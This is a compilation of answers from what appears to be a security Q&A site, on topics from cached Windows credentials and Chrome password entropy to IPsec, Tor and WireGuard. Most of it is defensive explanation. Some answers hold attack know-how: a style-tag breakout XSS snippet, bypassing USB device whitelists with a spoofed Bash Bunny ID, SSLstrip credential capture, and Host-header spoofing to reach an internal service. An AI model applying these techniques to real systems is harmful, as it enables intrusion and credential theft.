Top Password Software, Inc. has this blog post that states (for Windows 8):

  The cached logon credentials will never expire itself. If you change
  your Microsoft account password online via https://login.live.com, the
  cached logon credentials won’t update until you successfully log in to
  Windows 8 with the new password. After you have successfully logged in
  to Windows 8 with the new password, you cached logon credentials are
  updated.

This seems quite reasonable: if the computer completely loses network connectivity (due to hardware failure or configuration error) and there's no local administrator accounts available, you'd completely lose your access to the operating system on password expiration. This also renders you unable to fix the network connection required for checking the new credentials over the Internet.

Despite the cache doesn't expire based on time limits it doesn't mean you can use all your previous passwords, as the new password will replace the previous during the first login with it. This way, a password change invalidates the old credentials; not just at the moment you expected it.

As, starting from Windows 8.1, Microsoft has disabled WDigest and enabled LSA Protection by default, it's less of a problem to store the credentials locally. More information e.g. on Preventing Mimikatz Attacks by Panagiotis Gkatziroulis.

Active Directory Domains

From Cached and Stored Credentials Technical Overview:

  Windows logon cached password verifiers

  These verifiers are not credentials because they cannot be presented
  to another computer for authentication, and they can only be used to
  locally verify a credential. They are stored in the registry on the
  local computer and provide credentials validation when a domain-joined
  computer cannot connect to AD DS during a user’s logon. These “cached
  logons” or more specifically, cached domain account information, can
  be managed using the security policy setting Interactive logon: Number
  of previous logons to cache (in case domain controller is not
  available).

A user can't use the old cached verifiers once

the domain-joined computer has been able to contact a DC during a logon for the user, caching the new domain account information
more users than specified in the "Number
of previous logons to cache" policy have logged in after the user.

However, there seems to be no time based limit for this cache to expire. You could set the number of users to zero, but then no-one would be able to login if there's no DC available. This would probably be ok for most in-office desktops, but not so good with laptops.


Is it a ISO27001 requirement to record details of all instant messages?

Usually ISO27k does not require specific methods to be implemented. It however requires specific documents (such as the perimeter and politic of the ISMS, a description of the risk analysis method, a Statement of Applicability, ...). You will never read "you have to implement a complete retention of logs for instant messages".

The ISO27002 defines some of the best-practices for implementing ISO27001, maybe you will find here that this type of control is suggested. But again not mandatory.

What can (usually) happen to make this a requirement is:

You stated in your documents that you do it
You stated in your documents that you have to comply to the X regulatory which requires to keep these logs.

ISO27k is a framework that dictates how the management of security should go, not how the security should be implemented. However, it will ask to write descriptions of what you are doing and audits will verify that you do what you say you are doing.


Password stolen on public wifi even though https was used

Is this the video you're referring to?

If the site does not have HSTS (HTTP Strict Transport Security) enabled then I believe you can capture login information without generating a certificate warning using software like SSLstrip.

SSLstrip does not bother forging a certificate; instead, it removes SSL entirely.  Many webpages are accessible via both standard HTTP and secure HTTPS, but the standard HTTP page redirects to the HTTPS version.  SSLstrip works by watching for these redirects, and then blocks it to make sure the victim goes to an HTTP version of the login page.  If the attacker wants to keep the padlock symbol, he can redirect the victim to a fake login page on his own server that uses HTTPS.

To protect yourself you should always look at the address bar to make sure that HTTPS is actually in use when you expect it to be, and that the URL of the site matches what you were expecting.  Also take a look at HTTPS Everywhere.

See How to thwart sslstrip attack?


Block spam that looks like it is coming from actual humans, and not bots?

A captcha is the best way. If you are worried about usability, there are other things you can do, but everything can be bypassed.

You can use javascript to perform some type of calculation. For example, taking into account the time the form is loaded and when it is submitted and send that value back to the server. Then on the server you can do a check to see if it makes sense and filter out the ones that dont.
You can do a lot of things with javascript which will filter out a lot of bots since most dont interpret javascript.

None of this is fullproof because a sophisticated bot could be using something like phantomjs, and there is also a chance you can be denying legitimate traffic.

Alternatively, you can use a Cheap waf and create custom rules to filter out certain types of traffic too if you can find any similarities in the traffic, which you usually can. That can turn into a game of wack-a-mole though.

Blocking bots is an industry in itself because of the difficulty involed.
The most effective solution would be a decent captcha that isnt difficult to read.


Pionee Red: Is this a Phishing attack? What should we do?

This is a classic phishing attempt. Your friends email will most likely have been compromised the same way as you were. First of all:

Change your gmail password immediately
Change all passwords which may have been linked to your gmail account
(websites where you registered, etc...)

The website used is probably also compromised and is just used as webserver to harvest these emails.

For reports, you can get a police report if there is chance that sensitive personal information is breached, such as passport or ID copies, driver license, credit cards, etc... . Then it's best to make an official complain with the police. This will cover you should any fraud happen in the future that might get linked back to this.


Windows group policies to protect against Rubber Ducky attack

A complete whitelist of trusted devices should block Rubber Ducky specifically as I don't think it has a programmable device ID, but I'm not 100% sure.
However if the question is more generic, then no!
The more programmable Bash Bunny can do the same thing and it supports programming it's device ID. I've bypassed whitelist device lockdowns by using a Bash Bunny and setting it's ID to that of an approved keyboard. I even defeated a keyboard rate detector by programming delays into the Bash Bunny.


How can I tell who's using my cookie information on an open LAN?

If you're logging in over HTTP (as opposed to HTTPS) on a wifi network (except with some versions of WPA2), anyone connected to that network can snoop on your traffic, and you will not find out. This is a purely passive eavesdropping attack. Your only defense is to never use Facebook through anything but HTTPS.

You may be able to find out which IP address accessed your account, if Facebook keeps a log of that (you bet they do) and they expose that log to you (I don't know about that). But that may or may not tell you anything: if the attacker connected from the same wifi network as you, he'll usually show up as coming from the same IP address.


Chrome generated passwords not high entropy?

Conor's answer is a good starting point, but if you dig into Chromium's source the situation starts to look a little bleaker (but still better than not using a password manager at all).

Chrome 68 (current version as of August 1st, 2018)

Up through version 68 Chrome follows FIPS 181 to generate a 15 character pronounceable password allowing uppercase letters, lowercase letters, and numbers. If the result doesn't contain both an uppercase letter and a number, it changes the first lowercase letter to uppercase, and changes the last lowercase character to a random digit.

Unfortunately the entropy of a FIPS 181 password is pretty hard to calculate, as it generates variable length syllables rather than characters, and there are a bunch of rules dictating whether or not a syllable is allowed.

The non-uniformity has severe implications. A 1994 paper (page 192) estimated that to break into 1 out of 100 accounts with 8 character passwords, an attacker would only have to try 1.6 million passwords. Even if increasing the length from 8 to 15 doubles the entropy, that's still probably under 60 bits of entropy on average1, though this is improved slightly due to capitalization.

The original standard doesn't appear to support uppercase letters or numbers, and the implementation2 only capitalizes the first letter of a syllable with a 50% chance (interestingly y is replaced with w in the array of characters checked, so y will never be capitalized). This means that rather than adding about 1 bit of entropy per letter, capitalization only adds 1 bit per syllable. The number of syllables isn't constant, so it's hard to determine how much entropy this actually adds, but given the scarcity of single letter syllables it almost certainly adds less than 8 bits on average.

Numbers and symbols are supported by turning each single letter syllable alternately into a digit or symbol with 50% chance (though the symbol feature isn't used). Unfortunately, as you have noticed, single letter syllables are uncommon3, so ForceFixPassword usually ends up swapping out the last lowercase letter for a digit.

There may be more issues, but I'm getting a bit tired of looking at it. In short, this isn't a very good method of generating passwords, and the entropy is significantly less than one would expect for the length. In practice this is still probably ok for the average user, as it means they won't be using their favorite low entropy password in 20 different places, but breaking it is definitely possible for a determined and funded attacker with a fast hash (ie not a good password hash) of the password.

Chrome 69 (scheduled for release in September)

Things are looking much better in Chrome 69. The character set is upper and lowercase letters, numbers, and the symbols -_.:! with the following removed for readability:

l (lowercase letter L)
I (capital letter i)
1 (digit one)
O (capital letter o)
0 (digit zero)
o (lowercase letter O)

The generation works by adding a random character from each class until the minimum count for said class is met. By default and as currently used this is one lowercase character, one uppercase character, and one digit.

Then the rest of the password is filled with random characters evenly chosen from all character classes (respecting a maximum count for each class, currently unused).

Finally, since characters were added to the beginning of the password from predictable classes in order to satisfy requirements, the string is randomly shuffled. The shuffling happens up to 5 times if two dashes or underscores are adjacent in order to improve readability, so this will very slightly reduce the entropy, but the reduction is so slight as to be unnoticeable (and removing dash or underscore from the allowed symbols would be worse).

With 61 possible characters a fully random password would have log2(6115) = 88.96 bits of entropy. Using inclusion-exclusion to account for the required characters, I come up with 88.77 bits of entropy:

61^15          all possible passwords
-53^15         passwords without digits 2-9 (0 and 1 are excluded)
-37^15         passwords without lowercase letters (l and o excluded)
-37^15         passwords without uppercase letters (I and O excluded)
+29^15         add back passwords excluded twice for lack of digit and lowercase
+29^15         add back passwords excluded twice for lack of digit and uppercase
+13^15         add back passwords excluded twice for lack of lowercase and uppercase
-5^15          remove all-symbol passwords that were excluded then added back

The extra shuffling will shave off a fraction of a bit as well, but I don't have time to calculate it right now. In the end, the password should have over 88 bits of entropy, which is pretty good.

The old generator still exists in version 69, but when I tested the dev build it was using the new one. Whether or not there's any way to use the old generator I don't know.

1. Average entropy isn't necessarily useful with non-uniform distributions, the original 1975 paper gives an example (pages 29-30) of a generator that produces a single password (e.g. "password") with a 50% chance, and a high entropy password otherwise. The average entropy may be high, but there's still a 50% chance the password will be guessed immediately. Even so, extrapolating from the 1994 analysis, I believe it should still have well over 40 bits in the worst case.

2. The implementation isn't actually Chrome's, but is taken from the APG program, with minor modifications for compatibility

3. Testing with apg reveals that single letter syllables actually occur in about 33% of passwords, but 70-75% of those only have a single letter syllable at the end.


Why are overused buzzwords like Cyber and Hacking still prevalent in our industry?

Proper terminology is important for anyone who wants to learn something. The best way to develop professionalism is to rely on a set of well defined technical terms. So it should be in any professionals interest to avoid vague terms which tend to produce misleading associations.

The best way to market things is to use terms which people already know (so you don't have to define them) which have the right associations. Bluntly, nobody outside the profession wants to learn the details.

"Cyber", in this marketing context, means "things to do with computers when you're talking to someone who didn't grow up with them". "Hacking" covers any kind of offensive, intrusive, fraudulent or "dodgy" use of computers.

Bear in mind that even smart or senior people outside infosec know almost nothing about how it works. So you need accessible means of communicating with people, which necessarily involves using their existing misconceptions.

Apparently Ronald Reagan found the film War Games quite insightful on issues of nuclear infosec. That should be pause for thought.


In IPSec what is the definition & purpose of SAD and SPD?

Firstly, I am not sure what you mean by a "Security Application Database" I've never heard such a term and upon Googling the term I do not get any results which appear to reflect your understanding of the abbreviation, however, I digress.

SAD - Security Association Database

SDP - Security Policy Database

SA - Security Association

AH - Authentication Header

ESP - Encapsulating Security Payload

Security Association

Security Association (SA) is absolutely fundamental to understanding IPSec, in short, an SA is a relationship between two or more entities that describes how those entities will use security to communicate securely. Each IPSec connection can provide encryption, integrity and authenticity. Security Associations are the method that IPSec uses to track its concurrent sessions without this IPSec would fail.

The next section describes what a security association database will look like, it's important to remember that the IPSec peers must match on both sides else the connection will not work. SA parameters are configured by the network admin and then they are stored in the SA database. The following table below describes the parameters that an admin would configure.

Security Association Database

A Security Association Database is a table which contains all of the active Security Associations for inbound and outbound traffic, each entry will store the parameters for an individual SA. A SAD will usually store the following entries.

Security Parameter Index
Destination Address
Sequence Number
Anti-Replay Window
IP Security Protocol
Algorithm
Key
SA Lifetime
IPSec

Security Policy Database

The Security Policy Database contains rules which determine whether or not a packet is subject to IPSec processing. All traffic including inbound and outbound must be processed through this database, the first policy that matches will be used to process the traffic. Each policy has a policy index, the table starts from top-bottom with the top being the most preferred and bottom being the least preferred if however, a packet cannot find a suitable policy then a "NO-POLICY" status will be returned.

Each policy in the table has one or more policy contents and each policy content corresponds to an IPSec protocol either AH or ESP it cannot correspond to both! If a policy requires both then two separate policy contents must be used these policies will be linked using the next content pointer. In it's simplest form the SPD defines a subset of IP traffic and points that traffic to an SA.

For further reading on everything, you will ever need to know on IPSec I highly advise looking at the Wikipedia page and reading the relevant RFCs.


Executable code embedded in an image, malware or otherwise, does nothing without an external program capable of acting on it. Granted there have been a few cases in the past exploiting errors in the image processor code to force an overflow into the embedded malware code, but with rare exception, steg content is not a direct threat.
A common practice amongst high security sites is to translate all arriving images to a different format such as JPG to PNG in an isolated handler. You can do this a well if you like, but the threat is miniscule.


The chances are 100%. It's easy for anyone to look at your code and find the URL inside it, or to watch the network traffic and infer how your requests are performed.

When you should think about your app's security, assume that this information is public and go from there.

If you want to slow down the attacker's work (but keep in mind that you won't be able to prevent it!), you can look into obfuscation and think about encrypting your HTTP traffic (be sure to verify the certificate in your application!).


How to convince my management of a physical security risk?

Take a passive approach and do a risk assessment. Security management is a form of risk management. You have assets which might have threats and vulnerabilities. A threat exploiting a vulnerability is a risk, which is calculated by calculating (quantitative) or estimating (qualitative) the likelihood and impact (most of the time it's high,medium,low but some organizations have their own).

First you expose the risk. You derive an impact of an attacker having access to the internal network. Then you assess the likelihood and technical complexity. In your case the hard part is getting buy in from your management. So the first thing to do is taking references. Have a look if you find specific requirements for the type of business you are in, the size of your business and what industry best practice guides say you should do (NIST). It's important to structure your risks like this ensuring you have both the technical reasons, but also a clear business impact (what is this going to cost the business?) (in the end the business is what it's all about, IT is just an enabler).

As you are from the UK and you clearly think there is a risk for private data, have a look at the Data Protection Act. It's always interesting to show what can happen by refering to cases which bear a similarity to your current environment. Make sure that they understand that the upper management can be held personally accountable if it's deemed they made wrong decisions (e.g. not fixing this), but do not threaten them as this may have an adverse effect.

There's also the EU General Data Protection Regulation, which will be finalized end of this year. It allows the EU to fine companies up to 5% of their global turnover in case severe missmanagement of personal data is found.

After you  have made the report, you need to present it to your management, which is someone responsible for the business and someone responsible for IT as well as your internal audit department. That's the easy part. Now comes the hard part: sell security.

You will need to get buy-in from your upper management to fix this, which will most likely cost money as they will need to spend resources. Unfortunately it's quite hard to do so, you need to involve your stake holders in the security process and explain the benefits to them. It's important to involve all employees in your security process. The security executive cannot sell the necessity and importance of the security function to others if  people do not understand it.

Now the best way to get buy-in is to make them first understand. Make sure you think of a solution for each problem you face, you're already half way if you can come up with a good alternative. In your case it could be password managers or using domain credentials (PEAP authentication).  I'm not a fan of allowing just any device into the internal network, preferably the only devices allowed should be those issued by the company.

Note that the business may decide to sign off on the risk. This means that they're aware of the risk, but choose not to do anything with it. In the end there's only so much you can do. To be fair, it's not uncommon that a serious incident occurs before people start seeing the importance of security. It's sad, but the hard truth.


Why is it not possible for browsers to completely detect the Phishing pages?

Usually browsers don't actually detect the phishing page but rather use a blacklist of URL's provided by services such as PhishTank or OpenPhish. While some of the websites posted in these lists are provided by programmed detectors, most are reported by users.

The Chrome browser will use Google's large phishing DB compiled from Gmail reporting and other sources to block the visiting of such phishing pages. Google's DB (Google SAfe Browsing DB) is open to use and can be found here.

There is no one really to blame as phishing pages can be very complex and very targeted making it very hard to detect as a human and especially as a programmed detector. Browsers are trying their best to help out by blocking anything that is in the blacklists.


(default configuration file with tor:  socks4 127.0.0.1 9050)

Although Socks4a does, plain Socks4 does not support resolving names (i.e. DNS) at all using the Socks tunnel and it does not help if you tick a Socks5 related checkbox for this. You need to configure a Socks5 proxy instead and then tick this checkbox for resolving hostnames inside the tunnel.

  For example, if I were to use an application to send packets to a certain IP with proxychains, would the DNS also be leaked ?

An application which is not aware of the tunnel will in most cases use the local resolver library to do DNS lookups and thus probably bypass the proxy for DNS lookups (i.e. leak). Applications which are aware of the Socks5 proxy and support the feature  of Socks5 to do the DNS lookup will not leak.


Clicking on a Google search result sometimes redirects to malicious site

It appears you have been the victim of malvertising. Web sites often pull in all manner of third-party code from ad networks, and what ad gets displayed is determined by multiple algorithms which advertisers use to bid on access to your eyeballs. Even the most reputable sites can become unwitting accomplices to this skullduggery because they have no control over what ads the third-party networks serve them.

Your best defense against malvertising is keeping your system patched up-to-date and, where it doesn't break the site you are visiting, using an ad blocker.


Is XSS through style attribute possible in modern browsers?

I have searched for it everywhere, but I think all modern browsers are safe from XSS into CSS.
Although I had one particular test and it got executed into my Chrome (and probably other browsers)

If you application is naively injecting any input into  this interesting scenario can happen:

}
</style>

My First Heading

My first paragraph.

...

OR

p {
    /*injecting into bg's url*/
    background: url("garbage"}</style>/*) repeat;
    text-align: center;
    color: red;
}

Obviously .. an XSS


What type of origin verification can I use on a status update sent to me by a remote unit, when the public key could be copied off the unit?

You can incorporate a special chip called a Trusted Platform Module. TPMs were built to be tamperproof and store cryptographic keys.


Why is it so hard to close onion domains (e.g. The Silkroad)?

Have you seen the Tor document on how a Tor Hidden Service works?

Essentially, in the same way that it's hard to find the source of traffic from a Tor exit node, it's hard to find the server operating a Tor Hidden Service. Authorities can't shut down the server, because they can't find out where it is.

The .onion TLD is not really a TLD (so there is no domain registrar to shut down), but it's recognized by Tor.

There are other methods for tracking it down - checking cash flows, poorly anonymised Bitcoin transactions, even good "old-fashioned" anonymous tips to the police. So far it seems none have been sufficient.

Edit:
Ah, I think I understand the confusion. You're expecting that by flooding the Tor network with malicious exit nodes, you'll eventually create one that's used for the "exit" to a .onion. You'll know it's the target (e.g. Silkroad) because you'll be able to see the traffic contents. This does not work against .onion hosts, because unlike an exit node connection to a "normal" host on the public internet, traffic to .onion hosts is end-to-end encrypted.

So even a malicious exit node does not know that it's connected to the Silkroad host, because it can't see the traffic content.


Why does Microsoft Security Essentials remove Chrome in some situations?

False alarms of anti-malware are quite common because of the way these kind of software works and the theoretical limitations.

It is uncommon for anti-malware to have an exact copy of the malware included for a number of reasons:

There are many, many bad programs out there, so the anti-malware would be several hundreds of gigabytes in size.
Malware may exist in many various, it may even modify itself.
Distribution of malware has a legal implications, even if it is distributed as part of a security solution.

So how does malware detection work in practice?

The most common way is the usage of signatures which are calculated based on the malware files. The anti-malware-company looks for distinct fingerprints in the malware binary which can be used to identify it.

Unfortunately other legitimate files may have the same fingerprints. For example if they company uses a part of an uncommon statically linked library.

Another approach is to analyse the behaviour of an application. For example you don't expect a text processing program to write to the boot sector.

Browsers however do connect to the internet and write a number of files. They are host applications for addons, plugins and extensions. So it is quite likely that they trigger the behaviour detection.

Both approaches often come with a whitelist of known good programs. It may, however, take some time until a new release of a whitelisted software is added.


Does a constantly dynamic cluster of short-lived instances reduce
  attack surface?

Reduce the attack surface?

I don't think it does significantly. It wouldn't necessarily allow you to run any fewer services or have any fewer services exposed to potential attackers. The overall exposed surface of your system stays the same.

Reduce the threat?

I don't think so either, it doesn't necessarily reduce the number of vulnerabilities which might exist in your system or the number potential attackers who are motivated and capable of exploiting your system. It may reduce the threat slightly if this could lead vulnerable software to be updated more quickly, but that could also be achieved without replacing the instance.

Reduce the risk?

Yes, I think it would - the question is by how much. You're making it more difficult for an attacker to exploit your system, and therefore reducing the chance that they will succeed but you're not fundamentally removing any attack vectors.

I'd consider this somewhat like an intrusion prevention system (IPS) that generally attempts to block suspicious requests. In that case you're reducing the chance that an attacker will succeed because they first have to circumvent the IPS, but you're not actually removing any vulnerabilities from your system.

Also, there's certain attack vectors which would be entirely unaffected by this:

SQL injections - Could be exploited regardless of which instance served the request
DDoS against a computationally expensive request delivered via your load balancer
Malicious code stored in shared infrastructure - eg. your DB

  the attacker would never be able to complete all the steps needed to
  succeed

This would be valid if you could guarantee that a vulnerability cannot be exploited in 27 minutes - otherwise the effectiveness will vary greatly between attack vectors. Some attacks could easily be orchestrated in less than a minute.

For example, in real life time-delay locks works because if you know that the police will arrive in 20 minutes but the safe can't be opened for 30 minutes. Unless you could recreate this scenario I don't think any vulnerabilities are eliminated.

  Attempts to compromise open-ssl

I doubt it assuming all of your instances are running a vulnerable version. Maybe if it takes longer than 27 minutes to exploit.

  Port Scanning

No, all your instances would presumably have the same open ports and active services. When one instance goes offline they could just continue the scan on another instance where they left off.

  HTTP/HTTPS which is listening on 80 and 443 on each instance

There's a huge variety of exploits that could be delivered over HTTP, but in general I don't think it would make much difference. Typically load balanced systems are designed to serve the same response from every instance, therefore if an SQL injection can be performed against one instance it would almost certainly work against another.


WireGuard / CVE-2019-14899: How secure the protocol really is?

Is this information technically correct?

Yes, but please note that there is a modification of the previous attack which cannot be stopped by the previously recommended mitigations - see Blind In/On-Path Attack Disclosure FAQ.

Some sources on the web also state that anyone controlling the WAN of the server will also be able to take advantage of this flaw. Is it true? Can the server's ISP exploit this?

This is a completely different scenario. The connection from VPN endpoint to server is not protected by the VPN anyway. If the attacker controls this part much easier and more dangerous attacks are possible.

Why does it matter if the "TCP connection is unencrypted inside the VPN tunnel"? In theory one uses a VPN exactly to go around this issue - to make sure nobody can see the contents of the communication between two machines

The attack is able to inject packets into an existing TCP connection. A normal TCP connection has only limited protection against this (i.e. random source port and sequence numbers) which are bypassed by the attack. If the connection is additionally protected by cryptography than this injection will no longer work. Note that "encryption" is actually neither required nor sufficient, but the point is integrity protection. But proper encryption protocols like TLS also include integrity protection.

If anyone controlling the client's LAN can inject packages, how is this even considered a secure protocol? From my understating authenticity validation is a must in scenarios like this. The server should be able to check the authenticity of new data instead of blindingly accepting it... Isn't there some kind of key exchange for this?

From the perspective of the server the data don't look wrong, i.e. nothing can be detected here.

According to Wireguard's website "mimics the model of SSH and Mosh; both parties have each other's public keys, and then they're simply able to begin exchanging packets through the interface." How is a 3rd party (that doesn't have the right keys) able impersonate the client, send data and then how the server decrypts it using the client's real key without errors?

This is not an attack against the encryption at all. The original attack CVE-2019-14899 worked by the client accepting plain data on a different interface and treating these the same way as the decrypted data from the VPN tunnel interface, thus making injection possible. That's why the attack is also independent of the actual layer 3 VPN technology used.
In other words: the OS (not the VPN) is merging trusted data coming out of the VPN interface (after decryption) with untrusted (attacker controlled) data coming from a different network interface. It is not an attack against the VPN layer itself but how the VPN is integrated into the OS.


what is the scope of google drive's OAuth credentials?

Credentials

The credential that allows you to access Google Drive resources for your account is actually the access token you obtain after user-consent. See this documentation listing all the steps to set up OAuth, culminating with obtaining an access token to call APIs.

What can you do with an access token for Drive?

This depends on what OAuth scopes you requested. Your python scripts should have some OAuth scopes encoded in them that allows you to make the API call. You can further use the Google Discovery API to learn which methods can be called for a particular API. For example, file upload is a method.

Longevity of credentials

The access tokens are short lived and typically are valid for an hour. If you obtained a refresh token, you can read this documentation about expiration of long term credentials.

If you would like to keep track of events like password changes and expire your tokens and/or sessions, consider integration with Google's Cross Account Protection APIs to subscribe to account security events.


How to detect a virus /malware missed by antivirus program

Just to make sure you're aware, that prompt was most likely only trying to scare you into calling their fake support number. If they wanted to infect you with malware, they wouldn't be wise to announce it to you.

Technically yes, it's possible you could have some malware still on your PC that your software missed. Thing is, it's difficult to prove a negative, so authoritatively proving you're clean is difficult. You'd have to perform very skillful and tedious analysis to find something these scanners missed. If you're truly concerned you may be compromised, format your PC and reinstall your OS.


Does full disk encryption offer mitigation in the case of the firmware of an SSD being compromised?

Partially. Full disk encryption, when done through software (e.g. LUKS), means that a compromised storage device will only ever see encrypted data, never decrypted data. It will never have access to the key. However, it would still be able to tamper with data by exploiting the malleability of non-authenticated modes which could potentially be abused to compromise the operating system (for example, the storage device could randomize any 16 byte block in XTS by toggling a single bit in the ciphertext, which can be very bad in some situations), or by exploiting weaknesses in XTS when snapshots are available to an attacker over time to leak information. Additionally, if you are booting from the drive, then a malicious MBR could be sent to the computer from the drive, loading a bootkit. Another issue is the capabilities of the storage device interface. SATA, for example, should not make a DMA attack possible, but a drive connected directly over PCIe might be able to write to system memory.


HTTP Caching Headers: private vs no-cache

I understand the contradiction (if we may call it so) you highlighted. So I read both (some parts of the specification related to the private option) and the article.

I rather searched about the original article where the bug was first mentioned. In that article, it is stated:

  It was reported that multiple meta.wikimedia.org users received the
  same session ID. These users could act as the user who happened to be
  logged in according to the session value.

So you can conclude there is nothing wrong with the specification, and you need to add the private option  in Cache-control only when there is a session.


"ECDHE" means "ephemeral Diffie-Hellman (with elliptic curves)". This is what the pre-master secret comes from. The client generates a random DH key pair (a DH private key and the corresponding public key). The server also generates a random DH key pair. They send to each other the public parts of their respective key pairs.

The client uses its private DH key, combined with the DH public key from the server, to obtain the premaster secret.

The server uses its private DH key, combined with the DH public key from the client, to obtain the premaster secret.

By the magic of Diffie-Hellman, they both obtain the same value for the premaster secret. But, still by that magic, eavesdroppers, who only saw the public keys from both client and server but no private DH key at all, cannot rebuild the premaster secret.

("ciphered" is not a word; you probably mean "encrypted". But no, there is no encryption here. The DH public keys are public and, indeed, sent as-is over the wire.)


is it possible to create a WEP wifi that accepts any password?

Nope, it has to be an open network. The problem lies on the second message of the WEP authentication which is generated with the password, and later used for data encryption.

To achieve this somehow you need beforehand to know the password the user will use to send him the challenge encrypted, then he'll answer correctly the challenge in message 3 and that's it.

That's how WEP authentication works :(


Unable to scan live hosts in a home network

The nmap flag -sP is depreciated and is now -sn(no port scan.) I am unsure what the -PT80 is for, are you trying to scan for port 80 or set a timing template? You didn't tell us if you had anything else connected to the network or what exactly your network setup is so I can't really speculate further. In any case try this nmap command instead:

$ nmap 192.168.1.1-255 #replace with your own home IP range


SMTP messages have a host of header values that are used by mail servers (Qmail) and mail clients (Outlook, Gmail) for different things.  It's possible your email was set as either the From or the Sender value which was displayed by your mail client.

Here's some info on SMTP from and sender headers: http://tools.ietf.org/html/rfc4021#section-2.1.2

As for your questions...

Question 1: No idea.  Getting emails from yourself isn't a guarantee that your account was compromised.

Question 2: If I were a spammer I would look for ways to confuse digital and organic anti-spam systems.  You could imagine anti-spam filters that automatically whitelist emails that come from the account holder and you can imagine people that get curious about messages that look like they came from themselves.  Those types of messages might be more likely to slip past spam filters and get clicked.

If you want to know more about the message you can investigate the mail headers.  That will show you the sender, the from, the return-path.  You should also be able to see what server your mail server received the message from so that might be a clue.

You could also look in your Sent mail folder.  If someone did compromise your account and send you mail and forgot to hide their tracks, you might see a copy of the message in there.  If you do find a copy in your Sent folder, that's a pretty strong indicator that something is wrong...


Not sure if I'm interpreting your question correctly, but the only way to find out someone's privately assigned IP address on a secure wireless network is after you've associated to the access point.

If the wireless is not secured, just grab a packet destined for your target out of the air and the IP info will be in it.
If it is a wireless network with simple security, your ARP table will be populated with IPs/MACs (or if you compromise the AP you can look at its associated clients and/or DHCP lease info).
If it is a more secure network (clients are isolated from each other by one means or another), you may have to force a reauth on the target client and attempt to decrypt the wireless packets which will then contain IP information.

An ESS is just a collection of all BSSs of a network. For all intents and purposes, ESSID = SSID.


Is it a security issue that underlying infrastructure (like e.g. Kubernetes cluster) can easily be revealed?

it's better to hide whats underlying as attackers get more info what they are attacking.

Solution here would be to configure TLS for default backend and make default backend return some thing more meaningful.

Why is that so:

Kubernetes had some zero days in his history like http2 issue, Nginx ingress controller issues
You should follow: https://www.cncf.io/blog/2019/01/14/9-kubernetes-security-best-practices-everyone-must-follow/

One of my examples:

I had Grafana on private network inside k8s but DNS entry was public. Attacker could make DNS enum to see grafana.example.com, see it's a private ip it resolves then http request k8s endpoint with spoofed Host header and gain access.
My fix was to mitigate it with ip whitelisting to allow only VPN access CIDR.

If above is not applicable make sure to harden Kubernetes so you are sure if the app gets exploited it won't impact whole Kubernetes cluster.


What are some good references discussing the pros and cons of a company Wi-Fi network for personal use?

You asked for resources:
Cisco
Zenprise
InfoWorld
TrendMicro
Let me know if you need more.  The basic answer is, we need to figure out how to protect data on someone's personal device.  BYOD (bring your own device) is an inevitability, we just have to figure out how to do it.


Can a wildcard SSL certificate be issued for a second level domain?

Yes, it can be issued.

Luckily the common browsers do not accept wildcard certificates for TLDs.

Chromium Source Code:

// Do not allow wildcards for public/ICANN registry controlled domains -
// that is, prevent *.com or *.co.uk as valid presented names, but do not
// prevent *.appspot.com (a private registry controlled domain).
// In addition, unknown top-level domains (such as 'intranet' domains or
// new TLDs/gTLDs not yet added to the registry controlled domain dataset)
// are also implicitly prevented.
// Because |reference_domain| must contain at least one name component that
// is not registry controlled, this ensures that all reference domains
// contain at least three domain components when using wildcards.
size_t registry_length =
    registry_controlled_domains::GetCanonicalHostRegistryLength(
        reference_name,
        registry_controlled_domains::INCLUDE_UNKNOWN_REGISTRIES,
        registry_controlled_domains::EXCLUDE_PRIVATE_REGISTRIES);

// ... [SNIP]

// Account for the leading dot in |reference_domain|.
bool is_registry_controlled =
    registry_length != 0 &&
    registry_length == (reference_domain.size() - 1);

// Additionally, do not attempt wildcard matching for purely numeric
// hostnames.
allow_wildcards =
    !is_registry_controlled &&
    reference_name.find_first_not_of("0123456789.") != std::string::npos;
}

The complete list of domains that Google disallows is in net/base/registry_controlled_domains/effective_tld_names.dat

Other browsers also do this, including IE and Firefox.

In the list of fake certificates issued by DigiNotar, there is "*.*.com". This is obviously an attempt to get around the restriction.


What would the cryptographic impact be of knowing the output of /dev/urandom?

If you knew the output of /dev/urandom at all times and various keys were generated using /dev/urandom (say SSH/GPG private keys or an SSL certificates), you could in principle quickly (as in much quicker than brute-force) recreate a keypair by attempting using various states of /dev/urandom.  This would effectively bypass all the security methods in place (file encryption; https; data integrity protections) that are based on those now broken keys (this attack is exactly identical to obtaining someone's private keys/certificates).

There are various other things that rely on /dev/urandom that could also break.  For example, you could complete a TCP handshake from a IP address you do not control to a server with a cracked /dev/urandom as you could send a SYN, and then send an ACK and guess the server's sequence number.

Granted unless you have compromised a system to replace /dev/urandom with something else (or recorded the bits of /dev/random prior to using them), urandom is not entirely deterministic.  /dev/urandom will default to using entropy collected from various hardware components and only fall back to a pseudo-random generator when more entropy is needed than has been collected.


How can I protect myself from one of my AWS EC2 instances being subverted and creating other instances?

AWS maintains the notion of "Roles" for EC2 instances. When launching a new instance you are able to assign the server a role. The role must be applied during the build and cannot be added to an already running server. In the Identity and Access Management (IAM) area you can define what a role has permission to do (e.g., launch additional compute units, stop servers, delete EBS volumes, etc).

The best practice is to create a role that does not allow the server to perform any AWS operations that are not necessary for the server's intended purpose.

You can read more about AWS role-based access for EC2 here.

And about roles in general here.

Additionally, depending on the need the server has to communicate with the outside world, consider firewalling it off. In AWS, this is done with Security Groups.


No, it won't stop the DDoS. The DDoS will continue on the host it is targeted at currently. Back to the target in a moment.

Guessing you actually mean will "would resetting the IP stop the attack [on me]," then the answer is possibly. First, this will be highly dependent on your ISPs infrastructure.

By resetting your IP, you could mean that you are resetting the IP interface or it could be that it involves sending a DHCP release/renew as part of the process. Either way, if your device doesn't send a DHCP release, any DHCP server will simply hand back the same IP address as there is still a valid lease for your CPE device.

Even if it does send a DHCP release (i.e. releasing the lease), there is a good chance you will receive the same IP address. Many implementations of DHCP will use the same IP address the CPE device had a lease for previously if it hasn't been leased out to another client.

Either way, you have a good chance of getting the same IP address from your ISP and will remain "under attack." Getting back to the targeting I mentioned earlier, DDoS attacks may be launched against a hostname or a range of IP addresses rather than a single IP address.

So even if you have a new IP address, if you are using a dynamic DNS service and the attack is targeted at your hostname, then you are still the target of the attack. Or if the target is an IP range and your new IP is still within the range, then you will still be a target of the attack. It may take time for the attack to ramp back up, but you will likely experience the issue again soon.

So, what should you do?

Contact your ISP. They may be able to take action to stop the attack without any further involvement by you and this could help others as well. It may even be possible that this is the only way you can stop the attack. Even if you are going to try other options, start this process as it may take the most time.
